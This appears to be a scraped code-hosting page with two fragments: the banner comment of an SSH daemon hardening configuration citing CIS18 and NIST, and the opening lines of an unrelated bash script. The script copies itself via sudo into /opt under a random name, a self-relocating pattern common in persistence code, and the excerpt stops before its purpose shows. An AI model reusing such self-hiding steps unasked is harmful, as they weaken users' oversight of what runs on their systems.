This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# ____ ____ _ _ ____ by KawaiiPantsu | |
# / ___/ ___|| | | | | _ \ __ _ ___ _ __ ___ ___ _ __ | |
# \___ \___ \| |_| | | | | |/ _` |/ _ \ '_ ` _ \ / _ \| '_ \ | |
# ___) |__) | _ | | |_| | (_| | __/ | | | | | (_) | | | | | |
# |____/____/|_| |_| |____/ \__,_|\___|_| |_| |_|\___/|_| |_| | |
# | | |
# | Inperation have been taken from CIS18, NIST and just | |
# | common practices when it comes to harding sshd. | |
# | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
MYSELF=`realpath $0` | |
DEBUG=/dev/null | |
echo $MYSELF >> $DEBUG | |
if [ "$EUID" -ne 0 ] | |
then | |
NEWMYSELF=`mktemp -u 'XXXXXXXX'` | |
sudo cp $MYSELF /opt/$NEWMYSELF |